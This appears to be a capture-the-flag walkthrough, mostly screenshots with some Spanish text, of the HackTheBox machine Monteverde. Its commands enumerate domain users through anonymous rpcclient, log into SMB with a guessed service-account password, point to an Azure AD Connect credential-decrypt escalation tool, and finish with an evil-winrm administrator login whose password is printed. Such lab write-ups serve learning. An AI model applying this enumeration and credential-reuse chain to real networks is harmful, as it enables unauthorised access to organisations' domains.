---
# System prepended metadata

title: MONTEVERDE

---

# MONTEVERDE



![](https://i.imgur.com/9blOgEt.png)



![](https://i.imgur.com/GVh5nTM.png)



## SMB


![](https://i.imgur.com/IGurAFX.png)


```
┌──(root💀kali)-[/home/cr4y0/Escritorio/HTB/MONTEVERDE]
└─# echo "10.10.10.172 MEGABANK.LOCAL MONTEVERDE.MEGABANK.LOCAL" >> /etc/hosts
```



## rpcclient

![](https://i.imgur.com/47L1Uax.png)


```
┌──(root💀kali)-[/home/cr4y0/Escritorio/HTB/MONTEVERDE]
└─# for rid in $(rpcclient -U "" 10.10.10.172 -N -c "enumdomusers" | grep -oP "\[.*?\]" | grep "0x" | tr -d '[]'); do echo; rpcclient -U "" 10.10.10.172 -N -c "queryuser $rid"| grep -Ei "Name|drive|rid|description"; echo;echo "=============================================================================================="; done
```


![](https://i.imgur.com/rLbhz2l.png)


```
┌──(root💀kali)-[/home/cr4y0/Escritorio/HTB/MONTEVERDE]
└─# for rid in $(rpcclient -U "" 10.10.10.172 -N -c "enumdomusers" | grep -oP "\[.*?\]" | grep "0x" | tr -d '[]'); do rpcclient -U "" 10.10.10.172 -N -c "queryuser $rid"| grep -Ei "User Name"|awk '{print $4}'; done
```


![](https://i.imgur.com/VdsmplR.png)




## Kerberos - 88


![](https://i.imgur.com/XqqRWQ7.png)


## CrackMapExec

![](https://i.imgur.com/ycjvnuN.png)



## LDAP


```
┌──(root💀kali)-[/home/…/Escritorio/HTB/MONTEVERDE/ldap]
└─# ldapsearch -x -h 10.10.10.172 -s base 
```


![](https://i.imgur.com/asYlLO3.png)


## SMB Con credenciales


```
┌──(root💀kali)-[/home/cr4y0/Escritorio/HTB/MONTEVERDE]
└─# smbmap -H 10.10.10.172 -u 'SABatchJobs' -p 'SABatchJobs'
```


![](https://i.imgur.com/R9pzJ4x.png)






```
┌──(root💀kali)-[/home/cr4y0/Escritorio/HTB/MONTEVERDE]
└─# smbclient -L //10.10.10.172/ -U 'SABatchJobs'
```



![](https://i.imgur.com/sSdihm9.png)



![](https://i.imgur.com/QIeqHW2.png)


![](https://i.imgur.com/6ITYLI3.png)


![](https://i.imgur.com/yKPgozF.png)



https://vbscrub.com/2020/01/14/azure-ad-connect-database-exploit-priv-esc/



https://github.com/VbScrub/AdSyncDecrypt/releases



Subimos los archivos necesarios para escalar privilegios:


![](https://i.imgur.com/LOrwvwO.png)


![](https://i.imgur.com/VXn4lS2.png)



```
┌──(root💀kali)-[/home/cr4y0/Escritorio/HTB/MONTEVERDE]
└─# evil-winrm -i 10.10.10.172 -u administrator -p d0m@in4dminyeah!
```


![](https://i.imgur.com/J7SwPMF.png)


















